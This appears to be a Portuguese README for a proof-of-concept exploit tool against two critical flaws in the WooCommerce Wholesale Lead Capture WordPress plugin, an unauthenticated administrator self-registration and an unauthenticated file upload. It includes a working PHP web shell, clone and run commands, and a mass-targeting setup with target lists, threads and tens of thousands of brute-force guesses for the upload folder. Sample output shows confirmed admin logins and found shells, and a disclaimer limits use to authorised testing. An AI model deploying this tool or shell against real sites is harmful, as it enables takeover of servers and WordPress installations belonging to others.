
Privilégio sem Autenticação | Upload Arbitrário de Arquivos sem Autenticação
Descrição:
O plugin WooCommerce Wholesale Lead Capture para WordPress é vulnerável a Escalação de Privilégios Não Autenticada em todas as versões afetadas conhecidas. A vulnerabilidade existe no manipulador da ação AJAX wwlc_create_user, que processa solicitações de registro de usuário sem sanitizar ou validar adequadamente os campos de função fornecidos pelo usuário. Um atacante remoto e não autenticado pode criar uma solicitação POST especialmente formulada que injeta campos arbitrários de capacidade do WordPress — incluindo wp_capabilities[administrator] — diretamente nos metadados do usuário no momento da criação da conta. Isso permite que o atacante se registre como administrador do WordPress sem qualquer autenticação prévia ou interação de um usuário legítimo, resultando em comprometimento total da instalação do WordPress afetada.
Descrição:
O plugin WooCommerce Wholesale Lead Capture para WordPress é vulnerável a Upload Arbitrário de Arquivo Não Autenticado em todas as versões afetadas conhecidas. A vulnerabilidade reside na ação AJAX wwlc_file_upload_handler, que é registrada sem qualquer requisito de autenticação ou verificação de nonce. Ao enviar uma solicitação POST multipart especialmente formulada para /wp-admin/admin-ajax.php, um atacante remoto não autenticado pode enviar arquivos de tipo arbitrário — incluindo web shells PHP — para o diretório wp-content/uploads/ do servidor em um subdiretório wwlc-temp-* gerado dinamicamente. A exploração bem-sucedida leva à Execução Remota de Código (RCE) no servidor web subjacente, operando como a conta de usuário do processo web.
Este é um script de exploração Prova de Conceito (PoC) para as duas vulnerabilidades críticas descritas acima, direcionando instalações WordPress que executam o plugin WooCommerce Wholesale Lead Capture. A ferramenta suporta dois modos de ataque independentes:
| Modo | Tipo de Ataque | Objetivo |
|---|---|---|
| Modo 1 | Upload Arbitrário de Arquivo Não Autenticado + Descoberta de pasta por força bruta | Enviar um web shell PHP e localizá-lo por meio de adivinhação de pasta em várias camadas |
| Modo 2 | Escalação de Privilégios Não Autenticada via Registro | Autorregistrar-se como Administrador do WordPress e verificar o acesso de administrador |
pip install requests urllib3 colorama
Ou instale via arquivo de requisitos:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-27542-CVE-2026-27540.git
cd CVE-2026-27542-CVE-2026-27540
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-27542_CVE-2026-27540.py
python3 CVE-2026-27542_CVE-2026-27540.py
A ferramenta apresenta uma interface interativa de terminal. Você será solicitado a fornecer todos os parâmetros necessários.
Crie um arquivo de texto simples (por exemplo, list.txt) com uma URL de destino por linha:
https://target1.com
https://target2.com
http://target3.com/wordpress
Select mode [1=Upload+Folder, 2=Registration+Admin]: 1
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Shell file path [shell.php]: shell.php
Shell signature (marker inside shell) [Nx_SHELL_SIGNATURE]: Nx_SHELL_SIGNATURE
Max pattern-based folder guesses per site [50000]: 50000
Max time-based folder guesses per site [50000]: 50000
Max random-hex folder guesses per site [100000]: 100000
Upload results file [scan_results/wwlc_uploads.txt]: scan_results/wwlc_uploads.txt
Found shells file [scan_results/wwlc_shells_found.txt]: scan_results/wwlc_shells_found.txt
Exemplo de arquivo de shell (shell.php):
<?php
// Nx_SHELL_SIGNATURE
if(isset($_GET['cmd'])){ system($_GET['cmd']); }
?>
Nota: A pasta
wwlc-temp-*é gerada dinamicamente pelo plugin usandouniqid('wwlc-temp-')do PHP. A ferramenta usa uma estratégia de força bruta em várias camadas para descobri-la:
Select mode [1=Upload+Folder, 2=Registration+Admin]: 2
Targets list file (one URL per line) [list.txt]: list.txt
Threads (concurrent sites) [3]: 5
HTTP timeout (seconds) [10]: 10
Base registration username (prefix) [Nx_admin]: Nx_admin
Base registration email [[email protected]]: [email protected]
Registration results file [scan_results/wwlc_register_results.txt]:
Admin hits file [scan_results/Admin_login.txt]:
A ferramenta:
administrator| Arquivo | Descrição |
|---|---|
[INFO] Mode2 | Target: https://target.com
[SUCCESS] https://target.com | nonce found on /wholesale-register/: a1b2c3d4e5
[INFO] https://target.com | using discovered nonce
[SUCCESS] https://target.com | registration success for user=Nx_admin_x7k2
[SUCCESS] https://target.com | ADMIN login confirmed as Nx_admin_x7k2
[INFO] Mode1 | Target: https://target.com
[INFO] https://target.com | upload HTTP time: 0.847s
[SUCCESS] https://target.com | upload success file_name=shell_abc123.php
[INFO] https://target.com | pattern brute-force (50003 guesses)
[SUCCESS] https://target.com | shell FOUND via pattern: https://target.com/wp-content/uploads/wwlc-temp-00000123/shell_abc123.php
[INFO] https://target.com | folder scan stats: attempts=123, time=4.213s, rate=29.2 req/s
Por: Nxploited (Khaled Alenazi)
ESTA FERRAMENTA É FORNECIDA APENAS PARA FINS EDUCACIONAIS E DE PESQUISA DE SEGURANÇA AUTORIZADA.
O autor, Nxploited (Khaled Alenazi), e todos os colaboradores deste projeto não endossam, apoiam ou assumem qualquer responsabilidade pelo uso indevido desta ferramenta ou por qualquer dano causado pelo uso deste software contra sistemas para os quais você não possui autorização escrita explícita.
- ✅ Permitido: Uso em sistemas que você possui ou para os quais recebeu permissão escrita explícita para testar.
- ❌ Proibido: Uso contra qualquer sistema sem autorização escrita explícita prévia do proprietário do sistema.
O acesso não autorizado a sistemas de computador é ilegal e punível pelas leis aplicáveis, incluindo, mas não se limitando ao Computer Fraud and Abuse Act (CFAA), ao Computer Misuse Act (CMA) e à legislação equivalente em todo o mundo.
Ao usar esta ferramenta, você aceita a responsabilidade exclusiva por suas ações e confirma que tem autoridade legal para testar os sistemas visados.
O autor não assume nenhuma responsabilidade por quaisquer danos diretos, indiretos, incidentais ou consequenciais decorrentes do uso ou uso indevido deste software.
© 2026 Nxploited (Khaled Alenazi) — Somente para pesquisa de segurança autorizada.
| Campo | Detalhes |
|---|
| ID CVE | CVE-2026-27542 |
| Gravidade | CRÍTICA — Pontuação CVSS v3.1: 9.8 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Componente Afetado | Plugin WooCommerce Wholesale Lead Capture (WWLC) para WordPress |
| Tipo de Vulnerabilidade | Escalação de Privilégios Não Autenticada |
| Autenticação Necessária | Nenhuma |
| CWE | CWE-269: Gerenciamento Inadequado de Privilégios |
| Campo | Detalhes |
|---|
| ID CVE | CVE-2026-27540 |
| Gravidade | CRÍTICA — Pontuação CVSS v3.1: 9.8 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Componente Afetado | Plugin WooCommerce Wholesale Lead Capture (WWLC) para WordPress |
| Tipo de Vulnerabilidade | Upload Arbitrário de Arquivo Não Autenticado (levando a Execução Remota de Código) |
| Autenticação Necessária | Nenhuma |
| CWE | CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso |
| Camada | Estratégia | Descrição |
|---|
| 0 | Listagem de Diretório | Tenta listar o diretório de uploads se estiver aberto |
| 1 | Baseado em Padrão | Adivinhações numéricas sequenciais e derivadas do tempo |
| 2 | Hex Baseado em Tempo | Semeadas por carimbos de data/hora observados nas solicitações HTTP |
| 3 | Hex Aleatório | Adivinhação de string hex aleatória pura |
scan_results/wwlc_uploads.txt| Todos os sites onde o upload de arquivo foi bem-sucedido (Modo 1) |
scan_results/wwlc_shells_found.txt | URLs completas de shells confirmadas como acessíveis (Modo 1) |
scan_results/wwlc_register_results.txt | Todos os resultados das tentativas de registro com credenciais (Modo 2) |
scan_results/Admin_login.txt | Acessos de administrador confirmados com credenciais (Modo 2) |